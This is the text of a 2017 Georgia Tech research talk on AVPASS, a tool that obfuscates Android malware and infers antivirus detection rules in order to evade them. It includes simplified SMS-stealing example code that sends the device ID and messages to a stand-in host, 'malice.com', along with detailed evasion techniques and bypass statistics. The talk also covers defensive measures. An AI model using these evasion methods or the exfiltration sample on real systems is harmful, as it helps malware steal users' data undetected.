AVPASS: Automatically Bypassing Android Malware Detection System

Jinho Jung, Chanil Jeon, Max Wolotsky, Insu Yun, and Taesoo Kim
Georgia Institute of Technology, July 27, 2017
About Us

- **SSLab (@GT)**
  - Focusing on system and security research
  - [https://sslab.gtisc.gatech.edu/](https://sslab.gtisc.gatech.edu/)

- **ISTC-ARSA**
  - Intel Science & Technology Center for Adversary-Resilient Security Analytics
  - Strengthening the analytics behind malware detection
In This Talk, We Will Introduce AVPASS

- Transform any Android malware to bypass AVs
  - By inferring AV features and rules
  - By obfuscating Android binary (APK)
  - Yet supports preventing code leakage
Trend: Android Dominates Mobile OS Market

Android still leads mobile market

Regained share over iOS to achieve an 86 percent ...
Problem: Android Malware Becomes More Prevalent

8,400 new Android malware everyday

Security experts expect around 3.5 million new Android malware apps for 2017

https://www.gdatasoftware.com/blog/2017/04/29712-8-400-new-android-malware-samples-every-day
One solution: Protecting Mobile Devices with Anti-Virus

There are over 50 Android anti-virus software in market

Unfortunately, AV Solutions Known to be Weak (example: JAVA malware)

CVE-2012-4681 (Exploit Armoring Experiment)

- Source: github.com/benjholla/CVE-2012-4681-Armoring
- Submitted to VirusTotal 4 years after found in the wild

<table>
<thead>
<tr>
<th>Sample</th>
<th>Notes</th>
<th>2014 Score</th>
<th>2016 Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Original Sample</td>
<td><a href="http://pastie.org/4594319">http://pastie.org/4594319</a></td>
<td>30/55</td>
<td>36/56</td>
</tr>
<tr>
<td>Technique A</td>
<td>Changed Class/Method names</td>
<td>28/55</td>
<td>36/56</td>
</tr>
<tr>
<td>Techniques A and B</td>
<td>Obfuscate strings</td>
<td>16/55</td>
<td>22/56</td>
</tr>
<tr>
<td>Techniques A-C</td>
<td>Change Control Flow</td>
<td>16/55</td>
<td>22/56</td>
</tr>
<tr>
<td>Techniques A-D</td>
<td>Reflective invocations (on sensitive APIs)</td>
<td>3/55</td>
<td>16/56</td>
</tr>
<tr>
<td>Techniques A-E</td>
<td>Simple XOR Packer</td>
<td>0/55</td>
<td>0/56</td>
</tr>
</tbody>
</table>

* Developing Managed Code Rootkits for the Java Runtime Environment, Benjamin Holland, DEFCON 24
What About Android Malware?
What About Android Malware?
How easy it to bypass AV software?
Challenges: Bypassing Unknown AV Solutions

① Transforming without destroying malicious features

② No pre-knowledge of AV features

③ Interact without leaking own malicious features
Approaches: Automatically Inferring and Obfuscating Detection Features

- Obfuscating individual features
- Inferring features and detection rules of AVs
- Bypass AVs by using inferred features and rules
  - Yet minimize information leaking by sending fake malware
Summary of AVPASS operation

- Bypassed most of AVs with 3.42 / 58 (5.8%) detections
- Discovered 5 strong, 3 normal, and 2 weak impact features of AVs
- Discovered bypassing rule combinations (about 30%)
- Prevented code leakage when querying by using *Imitation Mode*
AVPASS Overview and Workflow

1. Binary Obfuscation
   - Malware

2. Inferring Features & Rules
   - Antivirus

3. Query Safely
   - Disguised & Bypass
What is Binary Obfuscation?

Obfuscation

Encrypt & Remove Features

Obfuscated Application

I Look different, but maintain same behaviors
# Main Obfuscation Features

<table>
<thead>
<tr>
<th>Number</th>
<th>Obfuscation Primitives</th>
<th>Side-Effects</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Component interaction injection</td>
<td>N/A</td>
</tr>
<tr>
<td>2</td>
<td>Dataflow analysis avoiding code injection</td>
<td>N/A</td>
</tr>
<tr>
<td>3</td>
<td>String encryption</td>
<td>N/A</td>
</tr>
<tr>
<td>4</td>
<td>Variable name encryption</td>
<td>N/A</td>
</tr>
<tr>
<td>5</td>
<td>Package name encryption</td>
<td>N/A</td>
</tr>
<tr>
<td>6</td>
<td>Method and Class name encryption</td>
<td>N/A</td>
</tr>
<tr>
<td>7</td>
<td>Dummy API and benign class injection</td>
<td>N/A</td>
</tr>
<tr>
<td>8</td>
<td>Bytecode injection</td>
<td>N/A</td>
</tr>
<tr>
<td>9</td>
<td>Java reflection transformation</td>
<td>N/A</td>
</tr>
<tr>
<td>10</td>
<td>Resource encryption (xml and image)</td>
<td>Appearance</td>
</tr>
</tbody>
</table>
APK Obfuscation Requirements

● Ensure APK’s original functionalities
  ✓ Error-free “smali” code injection
    * Disassembled code of DEX format

● Should be difficult to de-obfuscate or reverse
  ✓ Increase obfuscation complexities
  ✓ E.g., Hide all APIs by using Java reflection
  ✓ E.g., Encrypt all Strings with different encryption keys
  ✓ E.g., Apply obfuscation multiple times
Easy Problem: Available Number of Registers

Try Injection

 Increase maximum number and shift all registers and parameters
Tricky Problem: Limited Number of Registers

.method public DoSomething(p0…p9)
.locals 4
# register: v0 – v3 used here
# parameter: p0 – p9 used here
.end method

Try Injection

.method public DoSomething(p0…p9)
.locals 7 (+3)
# register: v0 – v3 used here
# parameter: p0 – p9 used here
# instruction using p10 (v16)
.end method

Total: 14
Total: 17

v0, v1, v2, v3, v4, v5, ... v13
p0, p1, p9

v0, v1, v2, ... v6, v7, v8, ... v16
p0, p1, p9
Solution: Backup and Restore Before Injection

Try Injection

Backup

Why tricky? AVPASS needs to trace type of each register when backup/restore
Difficult to Reverse as Requirement
Too Easy to Detect Obfuscation?

- True, but it doesn’t help AVs much
  ✓ How could you tell benign or malicious?

- Dynamic analysis can detect original behavior
  ✓ However, code coverage is another challenge
  ✓ Not that practical due to overhead
Example: Difficult to Reverse

```java
public class SendToNetwork (Service) {
    public void onStartCommand(Intent) {
        String SMSmsg = intent.get("sms");

        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();

        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```
public class SendToNetwork (Service) {
    public void onStartCommand(Intent intent) {
        String SMSmsg = intent.get("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        URL url = new URL("http://malice.com");
        url.sendData(output);
    }
}
Example: Difficult to Reverse

```
public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.get("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```
Example: Difficult to Reverse

Yes, you can tell obfuscation here but difficult to reverse
Start with Well-known Detection Techniques

- API-based detection
- Dataflow-based detection
- Interaction-based detection
- Signature-based detection
Android Malware Example

SMS Leaking Malware

### Component: InterceptSMS

```java
public class InterceptSMS extends BroadcastReceiver {
    BsmsManager sms = BsmsManager.getDefault();

    // When BroadcastReceiver receives SMS
    public void onReceive(Context c, Intent i) {
        // Read the SMS message
        SmsMessage cMsg = SmsMessage.createFromSms(c, i);
        String SMSmsg = cMsg.getMessageBody();

        // Call service with the SMS string
        Intent si = new Intent(Malicious.class);
        si.putExtra("sms", encrypt(SMSmsg));
        startService(si);
    }
}
```

### Component: SendToNetwork

```java
public class SendToNetwork extends Service {
    public void onStartCommand(Intent intent) {
        // Retrieve a SMS message
        String SMSmsg = intent.getStringExtra("sms");

        // Get a device ID
        TelephonyManager tm = new TelephonyManager();
        String deviceID = tm.getDeviceID();

        // Concatenate the device ID with the SMS
        String output = deviceID + SMSmsg;

        // Send data through network
        URL url = new URL("https://malice.com");
        url.sendData(output);
    }
}
```

- **SMS received**
- **SMS intercepted by background Service**
- **Leaked Information**
- **Hacker sends intercepted message to malice.com**
API-based Android Malware Detection

Component: InterceptSMS

```java
public class InterceptSMS (BroadcastReceiver) {
    public void onReceive() {
        SmsMessage msg = SmsMessage.create();
        String SMS = msg.getMessageBody();

        Intent si = new Intent(Malicious.class);
        si.putExtra("sms", SMS);
        startService(si);
    }
}
```

Component: SendToNetwork

```java
public class SendToNetwork (Service) {
    public void onStartCommand(Intent) {
        String SMSmsg = intent.getStringExtra("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();

        String output = ID.concat("SMSmsg");
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```

Suspicious API sequence (n-gram)
Dataflow-based Android Malware Detection

Component: InterceptSMS

```java
public class InterceptSMS (BroadcastReceiver) {
    public void onReceive() {
        SmsMessage msg = SmsMessage.create();
        String SMS = msg.getMessageBody();
        Intent si = new Intent(Malicious.class);
        si.putExtra("sms", SMS);
        startService(si);
    }
}
```

Component: SendToNetwork

```java
public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.get("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```

Suspicious Dataflow

Suspicious Source

Suspicious Sink
Interaction-based Android Malware Detection

Component: InterceptSMS

```java
public class InterceptSMS (BroadcastReceiver) {
    public void onReceive( ) {
        SmsMessage msg = SmsMessage.create();
        String SMS = msg.getMessageBody();
        Intent si = new Intent(Malicious.class);
        si.putExtra("sms", SMS);
        startActivity(si);
    }
}
```

Component: SendToNetwork

```java
public class SendToNetwork (Service) {
    public void onStartCommand(Intent ) {
        String SMSmsg = intent.get("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```
Signature-based Android Malware Detection

Component: InterceptSMS

```java
public class InterceptSMS (BroadcastReceiver) {
    public void onReceive() {
        SmsMessage msg = SmsMessage.create();
        String SMS = msg.getMessageBody();
        Intent si = new Intent(Malicious.class);
        si.putExtra("sms", SMS);
        startService(si);
    }
}
```

Component: SendToNetwork

```java
public class SendToNetwork (Service) {
    public void onStartCommand(Intent ) {
        String SMSmsg = intent.get("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```

Signatures: Class, Variable, String, Package, and etc
Bypassing API-based Detection System

- **Break frequency analysis**
  - Massive API insertion to change number of APIs

- **Break n-gram (sequence) analysis**
  - Insert dummy API between existing APIs

- **Break APIs transition ratio analysis**
  - Transition ratio? `java → android`, `java.lang → android.util`
  - 1) Insert massive APIs or 2) Change package names
Bypassing API-based Detection System (1/2)

Break n-gram analysis

public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.get("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}

GetDeviceID() → concat() → sendData()

GetDeviceID() → DateFormat() → concat() → DateFormat() → sendData()
Break transition ratio analysis

user-defined() → java.lang(String) → user-defined()

java.util.user-defined() → java.lang(String) → java.util.user-defined()

```java
public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.get("sms");
        userDefined1 tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        userDefined2 url = new userDefined2(http://malice.com);
        url.sendData(output);
    }
}
```
Bypassing Dataflow-based Detection System (1/2)

Explicit → Implicit dataflow

- SMSmsg + ID = output (tracked)
- SMSmsg + untrackedStr = output (untracked)

```java
public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.get("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();

        untrackedStr = anti-dataflow-analysis-code(ID);

        String output = untrackedStr.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```
Java Reflection (API name hiding)

Unable to track suspicious source API

```java
public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.get("sms");

        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();

        String ID = ReflectionWrapper1();

        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```
Bypassing Interaction-based Detection System

Component: InterceptSMS

```java
public class InterceptSMS (BroadcastReceiver) {
    public void onReceive( ) {
        SmsMessage msg = SmsMessage.create();
        String SMS = msg.getMessageBody();
        Intent si = new Intent(Malicious.class);
        si.putExtra(“sms”, SMS);
        startService(si);
    }
}
```

Component: SendToNetwork

```java
public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.get(“sms”);
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();
        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```
**Bypassing Interaction-based Detection System**

**Component: InterceptSMS**

```java
public class InterceptSMS (BroadcastReceiver) {
    public void onReceive( ) {
        SmsMessage msg = SmsMessage.create();
        String SMS = msg.getMessageBody();

        Intent si = new Intent(Malicious.class);
        si.putExtra("sms", SMS);
        startService(si);
    }
}
```

**Component: SendToNetwork**

```java
public class SendToNetwork (Service) {
    public void onStartCommand( Intent ) {
        String SMSmsg = intent.getStringExtra("sms");
        TelephonyMgr tm = new TelephonyMgr();
        String ID = tm.getDeviceID();

        String output = ID.concat(SMSmsg);
        URL url = new URL(http://malice.com);
        url.sendData(output);
    }
}
```

Divide components and make new relation to nullify the analysis
Evaluation: Bypassing Well-known Detection System

- API-based Detection (Ratio-based)

<table>
<thead>
<tr>
<th>Category</th>
<th>Strategy</th>
<th>Bypass Ratio</th>
</tr>
</thead>
<tbody>
<tr>
<td>API transition ratio detection</td>
<td>Inject dummy APIs to make diff. ratio (up to 2,000 insertions)</td>
<td>80%</td>
</tr>
<tr>
<td></td>
<td>Modify all family/package names</td>
<td>95%</td>
</tr>
</tbody>
</table>
Evaluation: Bypassing Well-known Detection System

- API-based Detection (Ratio-based)

<table>
<thead>
<tr>
<th>Category</th>
<th>Strategy</th>
<th>Bypass Ratio</th>
</tr>
</thead>
<tbody>
<tr>
<td>API transition ratio detection</td>
<td><strong>Inject dummy APIs</strong> to make diff. ratio (up to 2,000 insertions)**</td>
<td>80%</td>
</tr>
<tr>
<td></td>
<td><strong>Modify all family/package</strong> names</td>
<td>95%</td>
</tr>
</tbody>
</table>

* If malware size is big, you should inject much more APIs
# Evaluation: Bypassing Well-known Detection System

- **Dataflow-based Detection**

<table>
<thead>
<tr>
<th>Category</th>
<th>Strategy</th>
<th>Bypass Ratio</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dataflow tracking</td>
<td><strong>Inject anti-dataflow-analysis code</strong>&lt;br&gt;(support: String and Cursor datatype)</td>
<td>34%</td>
</tr>
<tr>
<td></td>
<td><strong>Hide API name by using reflection</strong></td>
<td>100%</td>
</tr>
</tbody>
</table>

- **Interaction-based Detection**
  - Successfully disguised **100%** of malware
Evaluation: Bypassing Well-known Detection System

- **Dataflow-based Detection**
  
  * As you can see, success ratio is low. Anti-dataflow-analysis code is difficult to make and easy to be detected.

<table>
<thead>
<tr>
<th>Category</th>
<th>Strategy</th>
<th>Bypass Ratio</th>
</tr>
</thead>
<tbody>
<tr>
<td>Dataflow tracking</td>
<td>Inject anti-dataflow-analysis code (support: String and Cursor datatype)</td>
<td>34%</td>
</tr>
<tr>
<td></td>
<td>Hide API name by using reflection</td>
<td>100%</td>
</tr>
</tbody>
</table>

- **Interaction-based Detection**
  
  ✓ Successfully disguised **100%** of malware
Demo #1

- Bypass API-based detection system
- Bypass Dataflow-based detection system
- Bypass Interaction-based detection system
Let’s move on to real world detection system
New Target: Real World Unknown AVs

- **Target:** VirusTotal
  
  * Aggregation of many antivirus products and online scan engines to check for viruses

- **Questions**
  
  ✓ Which features are important?
  ✓ Which combinations affect to result?
  ✓ Which classifier they are using?
  ✓ Are they robust enough to detect variation?
Strategy: How to Infer and Bypass AVs?

- **Inferring each feature’s impact**
  ✓ Obfuscate individual feature and then query

- **Inferring detection rules**
  ✓ Generate *all possible variations* and then query

- **Reduce the number of query**
  ✓ Group similar / relevant obfuscations

- **Provide way to query safely**
  ✓ Query by using fake (but similar) malware
Inferring Feature: What AVs are Looking at?

- Process for eliminating unnecessary obfuscation
- We need to “guess” possible features
  - Byte stream? hash of image? IDs in resource? API and its arguments?
- How? Obfuscate individual feature and analyze result
# Finding: Inferred Features

<table>
<thead>
<tr>
<th>Number</th>
<th>Obfuscation Primitives</th>
<th>Impact Observed</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Component interaction injection</td>
<td>No</td>
</tr>
<tr>
<td>2</td>
<td>Dataflow analysis avoiding code injection</td>
<td>No</td>
</tr>
<tr>
<td>3</td>
<td>String encryption</td>
<td>Strong</td>
</tr>
<tr>
<td>4</td>
<td>Variable name encryption</td>
<td>Normal</td>
</tr>
<tr>
<td>5</td>
<td>Package name encryption</td>
<td>Strong</td>
</tr>
<tr>
<td>6</td>
<td>Method and class name encryption</td>
<td>Strong</td>
</tr>
<tr>
<td>7</td>
<td>Dummy API and benign class injection</td>
<td>Normal</td>
</tr>
<tr>
<td>8</td>
<td>Bytecode injection</td>
<td>Weak</td>
</tr>
<tr>
<td>9</td>
<td>Resource encryption (xml and image)</td>
<td>Weak</td>
</tr>
<tr>
<td>10</td>
<td>Dropper payload (jar or APK)</td>
<td>Strong</td>
</tr>
<tr>
<td>11</td>
<td>Permissions</td>
<td>Normal</td>
</tr>
<tr>
<td>12</td>
<td>APIs name hiding</td>
<td>Strong</td>
</tr>
</tbody>
</table>
Inferring Rules: Finding Feature Combinations to Bypass

● Process for finding detection rules / logic inside

● Why infer?
  ✓ To bypass with minimum obfuscations
  ✓ To generate disguised malware with essential obfuscations

● How? Obfuscate features and query variations
**2^k Factorial Experiment Design**

* with k factor (features) decide 1) maintain kth factor or 2) obfuscate kth factor

- **Obfuscation group (example)**

<table>
<thead>
<tr>
<th>O1</th>
<th>O2</th>
<th>O3</th>
<th>O4</th>
<th>O5</th>
<th>O6</th>
<th>O7</th>
</tr>
</thead>
<tbody>
<tr>
<td>String</td>
<td>Variable</td>
<td>Package</td>
<td>Class + API injection</td>
<td>Resource + Dropper removal</td>
<td>Permission removal</td>
<td>API hiding</td>
</tr>
</tbody>
</table>

- **2^k variations (2^7 = 128)**

Test with 100 malware? 100 x 128 x 2 way = **25,600 queries**
**2^k Factorial Experiment Design**

- E.g., Test "string + package + resource" combination

- E.g., Test "order" to know impact of features (1→3→7→6→ …)
Inferred Rules: Must-do Obfuscations to Bypass

- **Anti-virus (T):** *Weak detection*
  
- **Anti-virus (K):** *Strong detection*
  
V: bypassed when obfuscated these features

* Experiment in **May/2017**, Test with 130 malware and 16,000 variations
Observation About Inferred Rules

- Most AVs use all (7 group) features when detect
- Inferred rules are about 30% of all possible combinations
- Better AVs have more complicated rules
How to Query Safely?

- Should minimize the sending information
- Should not send real code, instead send similar one
- Don’t worry about the APK’s functionality when querying
Imitation Mode

- Imitation Mode: mimicking malware when query
- Benefit of imitation
  - Generate malware with selected features
  - Query without entire code

Malware

- Imitation #1
  - O1
  - O2

- Imitation #2
  - O1
  - O3

Empty Application template

BENIGN

MALICIOUS
Putting it All Together

- Malware development scenario with AVPASS

1. Binary rewriting + obfuscations

2. Imitation Mode

3. Developer modification

Malware development scenario with AVPASS
Evaluation: Bypassing AVs

● General bypass ability

<table>
<thead>
<tr>
<th>Category</th>
<th>Avg. Detections</th>
<th>Detection Ratio</th>
</tr>
</thead>
<tbody>
<tr>
<td>Average Detections</td>
<td>38 / 58</td>
<td>65%</td>
</tr>
<tr>
<td>After AVPASS</td>
<td>3.42 / 58</td>
<td>5.8%</td>
</tr>
</tbody>
</table>

* Experiment in July / 2017, Test with 2,000 malware

● Important features when bypassing or being detected

✓ To bypass: API → Package name → Class name → …
✓ To be detected: String → API → Package name → …
Evaluation: Bypassing AVs

- Obfuscation vs. Inferred rule combinations

<table>
<thead>
<tr>
<th>Category</th>
<th>Avg. Detections</th>
<th>Ratio</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full Obfuscations</td>
<td>8 / 58</td>
<td>13%</td>
</tr>
<tr>
<td>Inferred rules (about 30%)</td>
<td>10 / 58</td>
<td>17%</td>
</tr>
</tbody>
</table>

* Experiment in May / 2017, Test with 130 malware and 16,000 variations

- Imitation Mode detection

<table>
<thead>
<tr>
<th>Category</th>
<th>Avg. Detections</th>
</tr>
</thead>
<tbody>
<tr>
<td>Full Obfuscation</td>
<td>8 / 58</td>
</tr>
<tr>
<td>Imitation mode detected (2 - 7 features combination)</td>
<td>6.2 / 58</td>
</tr>
</tbody>
</table>

* Experiment in May / 2017, Test with 100 malware and 12,000 variations
Why not 100% Bypass?

- Obfuscation cannot modify some contents
  - [Ex1] Permission: *uses-permissions and android:permission*
  - [Ex2] Intent-filter: *action, category, data, and etc*

- AVPASS might miss possible features that AV uses

- However, *Imitation Mode* will tell you about detection
Findings: Observed Behaviors of AVs

- **Static vs. Dynamic analysis-based detection**
  - ✓ No dynamic analysis-based detection was found
    (because AVs should yield results within minutes thru VirusTotal)

- **AVs mainly detect by pattern matching**
  - ✓ Lack of advanced techniques (e.g., dataflow or interaction analysis)

- **50% of AVs only use hash value**

- **Ahnlab**¹ / **WhiteArmor**² showed best detections (May, '17)

- **After Java Reflec. **QuickHeal**³ / WhiteArmor** best (July, '17)

---

¹ [http://www.ahnlab.com](http://www.ahnlab.com)
² [http://www.whitearmor.ai](http://www.whitearmor.ai)
³ [http://www.quickheal.co.in/](http://www.quickheal.co.in/)
Feedback from AVs companies (How could you detect well?)

- Ahnlab
  No response

- WhiteArmor
  Our detection uses composite models. Sorry for the limited information I can give you. As you know, the enemy is in the dark.

- QuickHeal
  No response
Demo #2

- Infer features and rules of AVs
- Bypass AVs
- Safe query by using imitation mode
Discussion: Which AVs are Difficult to Bypass?

- Thorough analysis and pattern matching
  ✓ Stronger AVs check more features and signatures

- Complex rule combinations
  ✓ In general, good AVs have more detection rules
  ✓ Detection ratio vs. False positive

- Dataflow-based and Interaction-based detection
  ✓ AVPASS can bypass but our pattern is too obvious
  ✓ Difficult to re-develop anti-analysis code
Discussion: AVPASS vs. De-obfuscation

- Research on detection of obfuscated malware
- De-obfuscation technique
  - Dynamic analysis based
  - Probabilistic analysis based
- DeGuard test result
  - Recover 70% of class names (when /wo AVPASS’s reflection)
  - Cannot recover other obfuscations

http://apk-deguard.com/
Discussion: Defensive Measures

- **Additional category of return value**
  - ✓ Introduce “NOT VALID” output

- **Increase the number of features for detection**
  - ✓ Prevent model inferring by imitation mode

- **Active intervention of middle-man**
  - ✓ Detect inferring behavior and impose penalty
Discussion: AVPASS Limitations

- **Malware with payload** (e.g., apk/elf dropper or Native Libs)
  - ✓ Put everything within class not external file → AVPASS will handle

- **AVPASS as a malicious pattern** (after open-source)
  - ✓ Name encryption: generic, difficult to detect
  - ✓ Code insertion: could be a malicious signature, difficult to re-develop

- **Dynamic analysis**
  - ✓ Can resolve some obfuscations: encrypted string, dummy API, …
Discussion: AVPASS Limitations

- **Malware with payload**
  - Develop within your code (class) not external file → AVPASS will handle AVPASS as a malicious pattern (after open-source)

- **Name encryption**: generic, difficult to detect

- **Code insertion**: could be a malicious signature, difficult to re-develop

- **Dynamic analysis**
  - Can resolve some obfuscations: encrypted string, dummy API, …

Detected “HelloWorld” (template name) as Malicious after 15~20K queries (20170517)

Now AV companies share signatures (20170719)
Discussion: AVPASS Limitations

- **Malware with payload** (e.g., apk/elf dropper or native libs)
  - ✓ Develop within your code(class) not external file → AVPASS will handle

- **AVPASS as a malicious pattern** (after open-source)
  - ✓ Name encryption: generic, difficult to detect
  - ✓ Code insertion: could be a malicious signature, difficult to re-develop

- **Dynamic analysis**
  - ✓ Can resolve some obfuscations: encrypted string, dummy API, …
Actually, We are Conducting Two Researches

- **Separate research into “Attack” and “Defense”**
  - AVPASS: “How to bypass?”
  - DEFENSE: “How to detect malware variations?”

- **Intel labs developed Android malware detection platform**
  - Incorporate both Static and Dynamic analysis
  - Emulation-based analysis reveals some of obfuscations
Intel Android Malware Detection Platform

* Upload and select classifier

* Check classified result and emulated information

Sign up ➔ Upload APK ➔ Dynamic/Static classification ➔ Prediction
Future Work

- More sophisticated obfuscation and more test
  ✓ More feature discovery, increase success ratio, …
  ✓ Test on Google Verify Apps, independent AV solution, …

- Incremental improvement of bypassing ability
  ✓ By conducting separated research

- Windows version of AVPASS
  ✓ Robust binary rewriting technique is required
  ✓ Inferring detection rules on more advanced AVs
AVPASS is Available Now

- **Source code**
  - https://github.com/sslab-gatech/avpass

- **Intel Android malware analysis platform**
  - Send mail to ami@intel.com, then we will let you in

- **Contact point**
  - AVPASS: Jinho Jung (jinho.jung@gatech.edu)
  - Malware Analysis System: Mingwei Zhang (ami@intel.com)
Conclusion

- Bypassed most of AVs and found limitations (cannot bypass all)
- Discovered features and rule combinations of AVs
- Proposed Imitation Mode to prevent code leakage
- Provided AVPASS as open-source